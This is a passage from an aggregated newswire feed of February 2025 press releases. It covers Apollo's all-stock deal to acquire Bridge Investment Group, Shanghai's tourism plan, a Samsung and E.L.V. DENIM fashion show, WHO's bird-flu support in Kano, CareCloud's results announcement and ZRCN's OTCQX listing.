    The information in this press release includes “forward-looking statements”. Forward-looking statements include, among other things, statements about the GTG Financial acquisition; the anticipated benefits of the GTG Financial acquisition; reAlpha’s ability to anticipate the future needs of the short-term rental market; future trends in the real estate, technology and artificial intelligence industries, generally; and reAlpha’s future growth strategy and growth rate. In some cases, you can identify forward-looking statements by terminology such as “may”, “should”, “could”, “might”, “plan”, “possible”, “project”, “strive”, “budget”, “forecast”, “expect”, “intend”, “will”, “estimate”, “anticipate”, “believe”, “predict”, “potential” or “continue”, or the negatives of these terms or variations of them or similar terminology. Factors that may cause actual results to differ materially from current expectations include, but are not limited to: reAlpha’s limited operating history and that reAlpha has not yet fully developed its AI-based technologies; reAlpha’s ability to commercialize its developing AI-based technologies; whether reAlpha’s technology and products will be accepted and adopted by its customers and intended users; reAlpha’s ability to integrate the business of GTG Financial into its existing business and the anticipated demand for GTG Financial’s services; reAlpha’s ability to successfully enter new geographic markets; reAlpha’s ability to obtain the necessary regulatory and legal approvals to expand into additional U.S. states and maintain, or obtain, brokerage licenses in such states; reAlpha’s ability to generate additional sales or revenue from having access to, or obtaining, additional U.S. states brokerage licenses; reAlpha’s ability to enhance its, and its subsidiaries’, loan processing efficiency by leveraging its AI-powered platform and overall resources; reAlpha’s ability to expand its loan processing capabilities through the acquisition of GTG Financial; reAlpha’s ability to offer mortgage lending and refinancing services to homebuyers more efficiently through its platform as a result of the acquisition of GTG Financial; the inability to maintain and strengthen reAlpha’s brand and reputation; reAlpha’s ability to scale its operational capabilities to expand into additional geographic markets; the potential loss of key employees of its acquired companies; reAlpha’s inability to accurately forecast demand for short-term rentals and AI-based real estate focused products; the inability to execute business objectives and growth strategies successfully or sustain reAlpha’s growth; the inability of reAlpha’s customers to pay for reAlpha’s services; changes in applicable laws or regulations, and the impact of the regulatory environment and complexities with compliance related to such environment; and other risks and uncertainties indicated in reAlpha’s SEC filings. Forward-looking statements are based on the opinions and estimates of management at the date the statements are made and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those anticipated in the forward-looking statements. Although reAlpha believes that the expectations reflected in the forward-looking statements are reasonable, there can be no assurance that such expectations will prove to be correct. reAlpha’s future results, level of activity, performance or achievements may differ materially from those contemplated, expressed or implied by the forward-looking statements, and there is no representation that the actual results achieved will be the same, in whole or in part, as those set out in the forward-looking statements. For more information about the factors that could cause such differences, please refer to reAlpha’s filings with the SEC. Readers are cautioned not to put undue reliance on forward-looking statements, and reAlpha does not undertake any obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as required by law.

    Investor Relations Contact:
    Adele Carey, VP of Investor Relations
    investorrelations@realpha.com

    Media Contact:
    Fatema Bhabrawala, Director of Public Relations
    fbhabrawala@allianceadvisors.com

    The MIL Network –

    February 25, 2025
  • MIL-OSI: Apollo to Acquire Bridge Investment Group

    Source: GlobeNewswire (MIL-OSI)

    Scaled Investment Platform Expands Apollo’s Origination Capabilities in Residential and Industrial Real Estate

    Bridge Manages $50 Billion of High-Quality AUM in Complementary Sectors Aligned with Apollo’s Long-Term Growth Strategy

    NEW YORK and SALT LAKE CITY, Feb. 24, 2025 (GLOBE NEWSWIRE) — Apollo (NYSE: APO) and Bridge Investment Group Holdings Inc. (NYSE: BRDG) (“Bridge” or the “Company”) today announced they have entered into a definitive agreement for Apollo to acquire Bridge in an all-stock transaction with an equity value of approximately $1.5 billion.

    Founded in 2009, Bridge is an established leader in residential and industrial real estate as well as other specialized real estate asset classes. Led by an experienced senior leadership team and over 300 dedicated investment professionals with significant real estate investment and operating expertise, Bridge’s forward-integrated model, nationwide operating platform and data-driven approach have fostered organic growth and consistently produced desirable outcomes across asset classes.

    Bridge will provide Apollo with immediate scale to its real estate equity platform and enhance Apollo’s origination capabilities in both real estate equity and credit, which is expected to benefit Apollo’s growing suite of hybrid and real estate product offerings. Bridge manages approximately $50 billion of high-quality AUM in real estate products targeting both institutional and wealth clients and is expected to be highly synergistic with Apollo’s existing real estate equity strategies and leading real estate credit platform. The transaction is expected to be immediately accretive to Apollo’s fee-related earnings upon closing.

    Apollo Partner and Co-Head of Equity David Sambur said, “We are pleased to announce this transaction with Bridge, which is highly aligned with Apollo’s strategic focus on expanding our origination base in areas of our business that are growing but not yet at scale. Led by a respected real estate team including Executive Chairman Bob Morse and CEO Jonathan Slager, Bridge brings a seasoned team with deep expertise and a strong track record in their sectors. Their business will complement and further augment our existing real estate capabilities, and we believe we can help scale Bridge’s products by leveraging the breadth of our integrated platform. We look forward to working with Bob and the talented Bridge team as we seek to achieve the strategic objectives we laid out at our recent Investor Day.”

    Bridge Executive Chairman Bob Morse said, “We are proud to be joining Apollo and its industry-leading team, who share our commitment to performance and excellence. This transaction will allow the Bridge and Apollo teams to grow on the strong foundation that Bridge has built since 2009 as we work to pursue meaningful value and impact for our investors and communities. With Apollo’s global integrated platform, resources, innovation and established expertise, we are confident that Bridge will be positioned for the next phase of growth amid growing demand across the alternative investments space.”

    Transaction Details
    Under the terms of the transaction, Bridge stockholders and Bridge OpCo unitholders will receive, at closing, 0.07081 shares of Apollo stock for each share of Bridge Class A common stock and each Bridge OpCo Class A common unit, respectively, valued by the parties at $11.50 per each share of Bridge Class A common stock and Bridge OpCo Class A common unit, respectively.

    Upon the closing of the transaction, Bridge will operate as a standalone platform within Apollo’s asset management business, retaining its existing brand, management team and dedicated capital formation team. Bob Morse will become an Apollo Partner and lead Apollo’s real estate equity franchise.

    A special committee of independent directors for Bridge (the “Special Committee”), advised by its own independent legal and financial advisors, reviewed, negotiated and unanimously recommended approval of the merger agreement by the Bridge Board of Directors, determining that it was in the best interests of Bridge and its stockholders not affiliated with Bridge management and directors. Acting upon the recommendation of the Special Committee, the Bridge Board of Directors approved the merger agreement. The transaction is expected to close in the third quarter of 2025, subject to customary closing conditions for transactions of this nature, including approval by a majority of the Class A common stock and Class B common stock of Bridge, voting together and the receipt of regulatory approvals. Certain members of Bridge management and their affiliates, collectively owning approximately 51.4% of the outstanding voting power of the Class A common stock and Class B common stock of Bridge, have entered into voting agreements in connection with the transaction and have agreed to vote in favor of the transaction in accordance with the terms therein. Subject to and upon completion of the transaction, shares of Bridge common stock will no longer be listed on the New York Stock Exchange and Bridge will become a privately held company.

    Further information regarding terms and conditions contained in the definitive merger agreement will be made available in Bridge’s Current Report on Form 8-K, which will be filed in connection with this transaction.

    Bridge Fourth Quarter and Full-Year 2024 Earnings
    Bridge will no longer be holding its fourth quarter and full-year 2024 earnings conference call and webcast scheduled for February 25, 2025, due to the pending transaction.

    Advisors
    BofA Securities, Citi, Goldman, Sachs & Co. LLC, Morgan Stanley & Co. LLC and Newmark Group are acting as financial advisors, Paul, Weiss, Rifkind, Wharton & Garrison LLP is acting as legal counsel and Sidley Austin LLP is acting as insurance regulatory counsel to Apollo. J.P. Morgan Securities LLC is serving as financial advisor to Bridge and Latham & Watkins LLP is acting as legal counsel. Lazard is serving as financial advisor to the special committee of the Bridge Board of Directors and Cravath, Swaine & Moore LLP is acting as legal counsel.

    Statement Regarding Forward-Looking Information

    This press release contains statements regarding Apollo, Bridge, the proposed transactions and other matters that are forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended (the “Securities Act”), and Section 21E of the Securities Exchange Act of 1934, as amended. Such forward-looking statements include, but are not limited to, discussions related to the proposed transaction between Apollo and the Company, including statements regarding the benefits of the proposed transaction and the anticipated timing and likelihood of completion of the proposed transaction, and information regarding the businesses of Apollo and the Company, including Apollo’s and the Company’s objectives, plans and strategies for future operations, statements that contain projections of results of operations or of financial condition and all other statements other than statements of historical fact that address activities, events or developments that Apollo and the Company intends, expects, projects, believes or anticipates will or may occur in the future. Such statements are based on management’s beliefs and assumptions made based on information currently available to management. All statements in this communication, other than statements of historical fact, are forward-looking statements that may be identified by the use of the words “outlook,” “indicator,” “may,” “will,” “should,” “expects,” “plans,” “seek,” “anticipates,” “plan,” “forecasts,” “could,” “intends,” “targets,” “projects,” “contemplates,” “believes,” “estimates,” “predicts,” “potential” or “continue” or the negative of these terms or other similar expressions, but not all forward- looking statements include such words. These forward-looking statements are subject to certain risks, uncertainties and assumptions, many of which are beyond the control of Apollo and the Company, that could cause actual results and performance to differ materially from those expressed in such forward-looking statements. Factors and risks that may impact future results and performance include, but are not limited to, those factors and risks described under the section entitled “Risk Factors” in Apollo’s and the Company’s most recent Annual Report on Form 10-K and Quarterly Reports on Form 10-Q and such reports that are subsequently filed with the Securities and Exchange Commission (the “SEC”).

    The forward-looking statements are subject to certain risks, uncertainties and assumptions, which include, but are not limited to, and in each case as a possible result of the proposed transaction on each of Apollo and the Company: the ultimate outcome of the proposed transaction between Apollo and the Company, including the possibility that the Company’s stockholders will not adopt the merger agreement in respect of the proposed transaction; the effect of the announcement of the proposed transaction; the ability to operate Apollo’s and the Company’s respective businesses, including business disruptions; difficulties in retaining and hiring key personnel and employees; the ability to maintain favorable business relationships with customers and other business partners; the terms and timing of the proposed transaction; the occurrence of any event, change or other circumstance that could give rise to the termination of the merger agreement and the proposed transaction; the anticipated or actual tax treatment of the proposed transaction; the ability to satisfy closing conditions to the completion of the proposed transaction (including the adoption of the merger agreement in respect of the proposed transaction by the Company’s stockholders); other risks related to the completion of the proposed transaction and actions related thereto; the ability of Apollo and the Company to integrate the businesses successfully and to achieve anticipated synergies and value creation from the proposed transaction; global market, political and economic conditions, including in the markets in which Apollo and the Company operate; the ability to secure government regulatory approvals on the terms expected, at all or in a timely manner; the global macro-economic environment, including headwinds caused by inflation, rising interest rates, unfavorable currency exchange rates, and potential recessionary or depressionary conditions; cyber-attacks, information security and data privacy; the impact of public health crises, such as pandemics and epidemics and any related company or government policies and actions to protect the health and safety of individuals or government policies or actions to maintain the functioning of national or global economies and markets; litigation and regulatory proceedings, including any proceedings that may be instituted against Apollo or the Company related to the proposed transaction; and disruptions of Apollo’s or the Company’s information technology systems.

    These risks, as well as other risks related to the proposed transaction, will be included in the Registration Statement (as defined below) and Joint Proxy Statement/Prospectus (as defined below) that will be filed with the SEC in connection with the proposed transaction. While the list of factors presented here is, and the list of factors to be presented in the Registration Statement and Joint Proxy Statement/Prospectus are considered representative, no such list should be considered to be a complete statement of all potential risks and uncertainties. Other unknown or unpredictable factors also could have a material adverse effect on Apollo’s and the Company’s business, financial condition, results of operations and prospects. Accordingly, readers should not place undue reliance on these forward-looking statements. These forward-looking statements are inherently subject to uncertainties, risks and changes in circumstances that are difficult to predict. Except as required by applicable law or regulation, neither Apollo nor the Company undertakes (and each of Apollo and the Company expressly disclaim) any obligation and do not intend to publicly update or review any of these forward-looking statements, whether as a result of new information, future events or otherwise.

    No Offer or Solicitation

    This press release is not intended to and does not constitute an offer to sell or the solicitation of an offer to subscribe for or buy or an invitation to purchase or subscribe for any securities or the solicitation of any vote in any jurisdiction pursuant to the proposed transactions or otherwise, nor shall there be any sale, issuance or transfer of securities in any jurisdiction in contravention of applicable law. No offer of securities shall be made except by means of a prospectus meeting the requirements of Section 10 of the Securities Act. Subject to certain exceptions to be approved by the relevant regulators or certain facts to be ascertained, the public offer will not be made directly or indirectly, in or into any jurisdiction where to do so would constitute a violation of the laws of such jurisdiction, or by use of the mails or by any means or instrumentality (including without limitation, facsimile transmission, telephone and the internet) of interstate or foreign commerce, or any facility of a national securities exchange, of any such jurisdiction.

    Additional Information Regarding the Transaction and Where to Find It

    This press release is being made in respect of the proposed transaction between Apollo and the Company. In connection with the proposed transaction, Apollo intends to file with the SEC a registration statement on Form S-4, which will constitute a prospectus of Apollo for the issuance of Apollo common stock (the “Registration Statement”) and which will also include a proxy statement of the Company for the Company stockholder meeting (together with any amendments or supplements thereto, and together with the Registration Statement, the “Joint Proxy Statement/Prospectus”). Each of Apollo and the Company may also file other relevant documents with the SEC regarding the proposed transaction. This document is not a substitute for the Registration Statement or Joint Proxy Statement/Prospectus or any other document that Apollo or the Company may file with the SEC. The definitive Joint Proxy Statement/Prospectus (if and when available) will be mailed to stockholders of the Company.

    INVESTORS ARE URGED TO READ IN THEIR ENTIRETY THE REGISTRATION STATEMENT, THE JOINT PROXY STATEMENT/PROSPECTUS AND ANY OTHER RELEVANT DOCUMENTS THAT MAY BE FILED WITH THE SEC, AS WELL AS ANY AMENDMENTS OR SUPPLEMENTS TO THESE DOCUMENTS, CAREFULLY AND IN THEIR ENTIRETY IF AND WHEN THEY BECOME AVAILABLE BECAUSE THEY CONTAIN OR WILL CONTAIN IMPORTANT INFORMATION ABOUT THE PROPOSED TRANSACTION. Investors will be able to obtain free copies of the Registration Statement and Joint Proxy Statement/Prospectus (if and when available) and other documents containing important information about Apollo, the Company and the proposed transaction, once such documents are filed with the SEC through the website maintained by the SEC at http://www.sec.gov. Copies of the documents filed with, or furnished to, the SEC by Apollo will be available free of charge by accessing the Investor Relations section of Apollo’s website at https://ir.apollo.com. Copies of the documents filed with, or furnished to, the SEC by the Company will be available free of charge by accessing the Investor Relations section of the Company’s website at https://www.bridgeig.com. The information included on, or accessible through, Apollo’s or the Company’s website is not incorporated by reference into this communication.

    Participants in the Solicitation

    Apollo, the Company, and certain of their respective directors and executive officers may be deemed to be participants in the solicitation of proxies from the Company’s stockholders in respect of the proposed transaction. Information about the directors and executive officers of Apollo, including a description of their direct or indirect interests, by security holdings or otherwise, is contained in its Proxy Statement on Schedule 14A, dated April 26, 2024 (the “Apollo Annual Meeting Proxy Statement”), which is filed with the SEC. Any changes in the holdings of Apollo’s securities by Apollo’s directors or executive officers from the amounts described in the Apollo Annual Meeting Proxy Statement have been or will be reflected in Initial Statements of Beneficial Ownership of Securities on Form 3 (“Form 3”), Statements of Changes in Beneficial Ownership on Form 4 (“Form 4”) or Annual Statements of Changes in Beneficial Ownership of Securities on Form 5 (“Form 5”) subsequently filed with the SEC and available at the SEC’s website at www.sec.gov. Information about the directors and executive officers of the Company, including a description of their direct or indirect interests, by security holdings or otherwise, is contained in its Proxy Statement on Schedule 14A, dated March 21, 2024 (the “Company Annual Meeting Proxy Statement”), which is filed with the SEC. Any changes in the holdings of the Company’s securities by the Company’s directors or executive officers from the amounts described in the Company Annual Meeting Proxy Statement have been or will be reflected on Forms 3, Forms 4 or Forms 5, subsequently filed with the SEC and available at the SEC’s website at www.sec.gov. Other information regarding the participants in the proxy solicitation and a description of their direct and indirect interests, by security holdings or otherwise, will be contained in the Registration Statement and the Joint Proxy Statement/Prospectus and other relevant materials to be filed with the SEC regarding the proposed transaction when such materials become available. Investors should read the Registration Statement and the Joint Proxy Statement/Prospectus carefully when available before making any voting or investment decisions.

    About Apollo
    Apollo is a high-growth, global alternative asset manager. In our asset management business, we seek to provide our clients excess return at every point along the risk-reward spectrum from investment grade credit to private equity. For more than three decades, our investing expertise across our fully integrated platform has served the financial return needs of our clients and provided businesses with innovative capital solutions for growth. Through Athene, our retirement services business, we specialize in helping clients achieve financial security by providing a suite of retirement savings products and acting as a solutions provider to institutions. Our patient, creative, and knowledgeable approach to investing aligns our clients, businesses we invest in, our employees, and the communities we impact, to expand opportunity and achieve positive outcomes. As of December 31, 2024, Apollo had approximately $751 billion of assets under management. To learn more, please visit www.apollo.com.

    About Bridge Investment Group
    Bridge is a leading alternative investment manager, diversified across specialized asset classes, with approximately $50 billion of assets under management as of December 31, 2024. Bridge combines its nationwide operating platform with dedicated teams of investment professionals focused on select verticals across real estate, credit, renewable energy and secondaries strategies.

    Contacts

    For Apollo:

    Noah Gunn
    Global Head of Investor Relations
    Apollo Global Management, Inc.
    212-822-0540
    ir@apollo.com

    Joanna Rose
    Global Head of Corporate Communications
    Apollo Global Management, Inc.
    212-822-0491
    communications@apollo.com

    For Bridge:

    Shareholder Relations:
    Bonni Rosen Salisbury
    Bridge Investment Group Holdings Inc.
    shareholderrelations@bridgeig.com

    Media:
    Charlotte Morse
    Bridge Investment Group Holdings Inc.
    (877) 866-4540
    charlotte.morse@bridgeig.com

    H/Advisors Abernathy
    Eric Bonach / Dan Scorpio
    (917) 710-7973 / (646) 899-8118
    eric.bonach@h-advisors.global / dan.scorpio@h-advisors.global

    The MIL Network –

    February 25, 2025
  • MIL-OSI China: Shanghai rolls out three-year plan to promote tourism

    Source: People’s Republic of China – State Council News

    SHANGHAI, Feb. 24 — East China’s Shanghai Municipality has introduced a three-year action plan starting in 2025 to promote the high-quality development of the city’s tourism industry.

    The action plan has six aspects covering 21 key tasks, all aimed at establishing Shanghai as China’s primary entry point for inbound tourism and a world-renowned tourist city.

    The plan highlights the development of world-class theme parks, an international cruise tourism resort, and an eco-tourism hub, along with the deepening integration of culture and tourism.

    Technology and investment will play an even bigger role in the development of tourism-related consumption scenarios, according to the action plan.

    Official data showed that the number of annual tourists to Shanghai has surpassed 300 million in recent years.

    During the 2025 Chinese New Year holiday, Shanghai welcomed 17.78 million visitors, a year-on-year increase of 6.08 percent.

    MIL OSI China News –

    February 25, 2025
  • MIL-OSI Banking: Samsung hits the runway with E.L.V. DENIM to showcase sustainable fashion

    Source: Samsung

     
    LONDON, UK – Samsung Electronics Co., Ltd is making its London Fashion Week debut as part of E.L.V. DENIM’s first ever presentation titled ‘The Journey’.
     
    The British luxury brand, dedicated to crafting timeless fashion pieces from 100% upcycled materials, created ‘The Journey’ to trace its evolution from the first pair of jeans in 2018 to a full ready-to-wear collection, including shirting, tailoring, leather, and evening wear.
     
    Set to a backdrop of Samsung’s Series 6 Washing Machines and Tumble Dryers – which offer a range of features that help reduce energy consumption[1] as well as decreasing the amount of harmful plastic microfibers clothes shed[2] – the show portrays E.L.V.’s commitment to upcycling, local manufacturing, and true sustainability by exploring the six core elements of E.L.V. DENIM’s production: sourcing, washing, grading, pairing, cutting & sewing.
     
    Dan Barfield, Director of Digital Appliances, Samsung UK & Ireland, comments: “We’re proud to be a part of E.L.V. DENIM’s London Fashion Week debut. The presentation showcases both brand’s dedication to innovation, making our products the perfect backdrop to the first fully upcycled show on-schedule.
     
    “This collaboration is a powerful statement towards responsible consumption. While E.L.V. DENIM transforms garments otherwise destined for landfill into high-end fashion, our laundry innovations help extend the life of clothing by delivering a deep clean using less water and energy. We’re committed to building products and providing consumers with options that put responsible practices at the forefront of fashion.”
     
    Anna Foster, Founder & Designer, E.L.V. DENIM, comments “From the very beginning, we believed—and still believe—that we make the best jeans in the world. Our commitment to upcycling, local manufacturing, and true sustainability sets us apart. Some might call that a bold statement, but we have the processes to prove it. That’s why we’ve created a fully transparent presentation that shows exactly how we do it.
     
    “We welcome questions and interaction—our team is here to share everything. Only by being completely open can we prove who we are, and what we’re striving to become. Today, E.L.V. DENIM is the only brand in the world producing high-end garments at scale entirely from 100% upcycled post-consumer waste. We are not just making jeans; we are rewriting the rules of fashion.”
     

     
    Samsung offers innovative solutions to help consumers reduce water and energy usage. Various Samsung washing machines have AI energy mode[3] that can reduce your energy consumption by up to 70%[4], whilst ecobubble technology can wash effectively at cooler temperatures.
     
    Samsung also offers the Less Microfiber cycle that works to make clothes shed less microplastics, which are discharged into the drain water. By adjusting the motor’s revolution speed and washing intensiveness, the Less Microfiber cycle reduces the amount of microfiber released into the drain by up to 54%[[5]].
     

     
     
    Top Tips: How to Make Your Laundry More Eco-Friendly
     
    Embrace energy-saving tech to cut down on water and energy use
    While it is a staple to our daily lives, electricity production generates the second largest share of greenhouse gas emissions, making it vital we explore how to cut our energy consumption. Our washing machines with AI energy mode can reduce your energy consumption by using sensors to detect the weight of your laundry before calculating and dispensing the optimal amount of water needed for the load. [3+4]
     
    Less is more when it comes to detergent
    Many laundry detergents contain microplastics—harmful plastic microfibres that make it into the ocean[6]. That’s why Samsung developed the new Less Microfiber Filter, an external washing machine filter designed to significantly reduce plastic microfiber emissions during laundry cycles.
     
    Designed with inspiration from apparel maker Patagonia and expertise from the global ocean conservation organisation Ocean Wise, the filter captures 98%[[7]] of microplastics released during laundry from escaping into the ocean, equivalent to eight 500ml plastic bottles per year when used four times a week[8].
     
    To manage the amount of detergent we use to avoid damaging the planet, our clothes and the machine itself over time, Samsung’s Auto Dispense feature automatically adds the right amount of detergent and softener into the washer, taking the guesswork out of every wash.
     
    Don’t be afraid of the cold (wash)
    Using hot water during a laundry cycle uses a substantial amount of energy—in fact, 75% of the energy required during a hot wash cycle is used just to heat up the water[9]. With Samsung’s EcoBubble technology, you need not worry that a colder wash will result in a less effective clean.
     
    Even at a cold wash setting of 15°C, EcoBubble technology will still effectively dissolve detergent and mix it with air and water to create bubbles that thoroughly penetrate clothes so as to remove even the toughest stains.
     
    Choose appliances that are built to last
    A final tip for making your laundry as eco-friendly as possible is to opt for appliances that are sure to last for a long time, a decision that contributes to the reduction of landfill waste, the conversation of resources, the prevention of environmental contamination by toxic materials, and the reduction of greenhouses gases created in the production of new materials.
     
    Samsung’s washers and dryers have been designed for long-term use, coming with industry-leading warranties for both product and parts so that users can rest assured that their appliance decisions are the best ones for the environment.
     
    About E.L.V. DENIM
     
    E.L.V. DENIM is a pioneering British luxury brand dedicated to handcrafting timeless fashion pieces from 100% upcycled materials. Breathing a second life into garments that could otherwise be destined for landfill, E.L.V. DENIM transforms loss into luxury.
     
    In a world of over-consumption, E.L.V. DENIM challenges convention. It’s fabric-first curated sourcing of pre-loved garments ensures every piece is unique and innovative designs create pieces to last a lifetime. Founder and Creative Director Anna Foster launched E.L.V. DENIM to redefine the perfect fit in denim, ensuring every pair of ‘off the rack’ jeans feels like it is tailor made. In addition, it is the first denim brand to launch a jean that can adapt to the wearer’s life with built-in seam allowances for effortless tailoring.
     
    In 2023 the brand extended beyond denim and into new categories; upcycling corduroy, shirting, tailoring, leather and cotton, helping to protect the environment for future generations and proving that a completely circular fashion model can be a success.
     
    All production takes place in East London, minimising carbon footprint and supporting our local
    community of ateliers. The brand has a holistic approach to sustainability and zero-waste, all parts of the jeans are used to make new products, scraps are constructed into sheets of patchwork fabrics and the smaller threads are turned into denim paper.
     
    [1] Our washing machines with AI energy mode* can reduce your energy consumption by up to 70%** * Available on Android and iOS devices. A Wi-Fi connection and a Samsung account are required. ** Based on internal testing on the WW7000D models on a Cotton 40 degrees wash with the AI Energy Mode turned on compared to not using AI Energy Mode.
     
    [2] The Less Microfiber cycle works to make clothes shed less microplastics, which are discharged into the drain water. By adjusting the motor’s revolution speed and washing intensiveness, the Less Microfiber cycle reduces the amount of microfiber released into the drain by up to 54%. Based on testing by the Ocean Wise Plastics Lab using a 2kg load of 100% polyester hoodies, comparing the Synthetics cycle on a Samsung conventional model WW4000T and the Less Microfiber cycle on the WW7000B. Results may vary depending on the actual clothes and usage conditions.
     
    [3] Available on Android and iOS devices. A Wi-Fi connection and a Samsung account are required.
     
    [4] Based on internal testing on the WW7000D models on a Cotton 40 degrees wash with the AI Energy Mode turned on compared to not using AI Energy Mode.
     
    [5] Tested with 2kg load of 100% polyester hoodies, comparing Synthetics cycle on Samsung Conventional model WW4000T and the Less Microfiber Cycleon WW9400B. The results may be different depending on the clothes and environment. Tested at the Ocean Wise Plastics Lab. Newsroom post here.
     
    [6] “Fashion’s tiny hidden secret”, United Nations Environment Programme (unep.org/news-and-stories/story/fashions-tiny-hidden-secret).
     
    [7] Tested at Ocean Wise Plastics Lab on the WW90T734DWH model (using Synthetic cycle, approximately 2kg load of synthetic textile laundry) comparing the amount of microfiber released with and without the Less Microfiber Filter installed. The amount is calculated by filtering drain water through a 50um filter. Results may vary depending on clothes and environment.
     
    [8] Tested at Ocean Wise Plastics Lab on the WW90T734DWH model (using Synthetic cycle, approximately 2kg load of synthetic textile laundry) comparing the amount of microfiber released with and without the Less Microfiber Filter installed. The amount is calculated by filtering drain water through a 50um filter. One wash cycle’s reduction amount of 0.627g is based on a 5kg load (0.125g/kg x 5kg). Annual reduction amount (132g) is calculated based on 210 cycles (4 times a week, 52 weeks) and 5kg load on each cycle. 500㎖ bottle weight (15.4g) is based on the Korea Ministry of Environment’s guideline on plastic bottles.
     
    [9] Data source: https://www.euronews.com/living/2019/07/14/eco-washing-your-way-to-a-cleaner-planet
     

    MIL OSI Global Banks –

    February 25, 2025
  • MIL-OSI Africa: World Health Organization (WHO) commits to enhancing Nigeria’s capacity to tackle influenza threat

    Source: Africa Press Organisation – English (2) – Report:

    Download logo

    Following an alert of a highly pathogenic avian Influenza (H5N1) outbreak in poultry, commonly known as bird flu, in Kano state,  the World Health Organization ( WHO) has stepped up its support to the Government of Nigeria to prevent transmission of the virus to humans. While the virus spreads rapidly among birds, it also has the potential to infect mammals, including humans. It poses a significant threat to both animal and public health.

    Overview of the outbreak 

    The virus primarily affects poultry but can also infect humans who come in direct contact with the infected live or dead birds or contaminated environments, such as saliva, nasal discharges, and faeces, which contain high toxins.

    Preventive measures against bird flu include biosecurity measures in poultry farms and live bird markets, avoiding contact with sick birds, proper hygiene, surveillance, and early reporting of outbreaks. Other states aside, Kano has reported cases of bird flu among poultry.

    At the time of writing this report, there has been no human infection from the disease. 

    WHO collaborative support to the outbreak

    To prevent transmission to humans, WHO team in Kano state leverage the State One Health Technical Working Group (TWG) and Influenza TWG to coordinate an interagency response to the situation. 

    The One Health and Influenza TWGs comprises inter-agency members, including the Ministries of Health, Veterinary/ Agriculture, and  Environment. 

    The World Health Organization (WHO), in collaboration with the Nigeria Centre for Disease Control (NCDC), has supported the establishment of 10 National Influenza Sentinel Surveillance (NISS) sites, including Aminu Kano Teaching Hospital (AKTH) and nine other hospitals across Nigeria’s six Geopolitical zones. In 2024, 814 samples were collected from these sites and transported to the National Reference Laboratory in Abuja for respiratory virus testing, in line with the Global Influenza Surveillance and Response System (GISRS).

    “To help with the response in Kano State, WHO provided over 100 PPE kits. These kits included 1,000 gloves, 500 aprons, 500 face shields, 20 rain boots, and other items. These kits protect healthcare workers and other personnel on the field from exposure to the virus, ensuring their safety while they manage and contain the outbreak.

    WHO also supplied laboratory materials for collecting samples from people showing symptoms of flu-like illnesses or severe respiratory infections,” explained Dr Mayana Abubakar, WHO  Kano State Coordinator. 

    Dr Mayana mentioned that in 2024, WHO helped train over 100 health workers from the NISS sites on preparing for and responding to pandemic influenza. This training aimed to improve surveillance, response, and close monitoring of human contacts for early intervention. 

    Dr Ibrahim Aliyu Gano, Director of Public Health and Disease Control, Kano State Ministry of Health, applauding WHO’s support, said, “ We appreciate WHO’s steadfast support in helping us tackle this outbreak. Their donation and timely intervention help protect lives and contain the transmission of the disease.

    As of 25 January 2025, Kano, Nigeria, reported six confirmed  HPAI cases and 4,470 suspected cases of bird flu. So far, there has been no human infection from 15 specimens tested from 20 suspected cases while awaiting the result of five samples. 

    The WHO Country Representative, Dr Walter Kazadi Mulombo, has assured that with the existing national capacity, which has been built over the period and from the previous bird flu emergencies experience, “we could swiftly scale up the efforts. WHO is committed to working with Nigerian authorities and partners to ensure that measures are in place for effective and rapid actions to mitigate transmission to humans”, he added.

    Distributed by APO Group on behalf of World Health Organization (WHO) – Nigeria.

    MIL OSI Africa –

    February 25, 2025
  • MIL-OSI: CareCloud to Announce Fourth Quarter and Full Year 2024 Results on March 13, 2025

    Source: GlobeNewswire (MIL-OSI)

    SOMERSET, N.J., Feb. 24, 2025 (GLOBE NEWSWIRE) — CareCloud, Inc. (Nasdaq: CCLD, CCLDO, CCLDP), a leader in healthcare technology and generative AI solutions for medical practices and health systems nationwide, will release its financial results for the fourth quarter and full year ended December 31, 2024 before the market opens on Thursday, March 13, 2025. The Company will follow with a conference call for investors at 8:30 a.m. Eastern Time.

    The live webcast of the conference call and related presentation slides can be accessed at ir.carecloud.com/events. An audio-only option is available by dialing 201-389-0920 and referencing “CareCloud Fourth Quarter 2024 Results Conference Call.” Investors who opt for audio-only will need to download the related slides at ir.carecloud.com/events.

    A replay of the conference call and related presentation slides will be available approximately three hours after conclusion of the call at the same link. An audio-only option can also be accessed by dialing 412-317-6671 and providing the access code 13751992.

    About CareCloud

    CareCloud (Nasdaq: CCLD, CCLDP, CCLDO) brings disciplined innovation to the business of healthcare. Our suite of AI and technology-enabled solutions helps clients increase financial and operational performance, streamline clinical workflows and improve the patient experience. More than 40,000 providers count on CareCloud to help them improve patient care, while reducing administrative burdens and operating costs. Learn more about our products and services, including revenue cycle management (RCM), practice management (PM), electronic health records (EHR), business intelligence, patient experience management (PXM) and digital health, at www.carecloud.com.

    Follow CareCloud on LinkedIn, X and Facebook.

    For additional information, please visit our website at www.carecloud.com. To listen to video presentations by CareCloud’s management team, read recent press releases and view the latest investor presentation, please visit ir.carecloud.com.

    SOURCE CareCloud

    Company Contact:
    Norman Roth
    Interim Chief Financial Officer and Corporate Controller
    CareCloud, Inc.
    nroth@carecloud.com

    Investor Contact:
    Stephen Snyder
    Co-Chief Executive Officer
    CareCloud, Inc.
    ir@carecloud.com

    The MIL Network –

    February 25, 2025
  • MIL-OSI: OTC Markets Group Welcomes ZRCN Inc. to OTCQX

    Source: GlobeNewswire (MIL-OSI)

    NEW YORK, Feb. 24, 2025 (GLOBE NEWSWIRE) — OTC Markets Group Inc. (OTCQX: OTCM), operator of regulated markets for trading 12,000 U.S. and international securities, today announced ZRCN Inc. (OTCQX: ZRCN), is a manufacturer and seller of digitally-enabled hand-tools, has qualified to trade on the OTCQX® Best Market.

    ZRCN, Inc. begins trading today on OTCQX under the symbol “ZRCN.” U.S. investors can find current financial disclosure and Real-Time Level 2 quotes for the company on www.otcmarkets.com.

    Trading on the OTCQX Market offers companies efficient, cost-effective access to the U.S. capital markets. Streamlined market requirements for OTCQX are designed to help companies lower the cost and complexity of being publicly traded, while providing transparent trading for their investors. To qualify for OTCQX, companies must meet high financial standards, follow best practice corporate governance, and demonstrate compliance with applicable securities laws.

    “We are pleased to begin trading on the OTCQX, which provides an excellent platform for investors to engage with ZRCN as we continue to innovate in the high-tech construction tool and electronic device industries,” said John Stauss, CEO of Zircon Corporation. “This milestone supports our mission to grow ZRCN globally, deliver value to our stakeholders and enhance accessibility for investors.”

    About ZRCN, Inc.
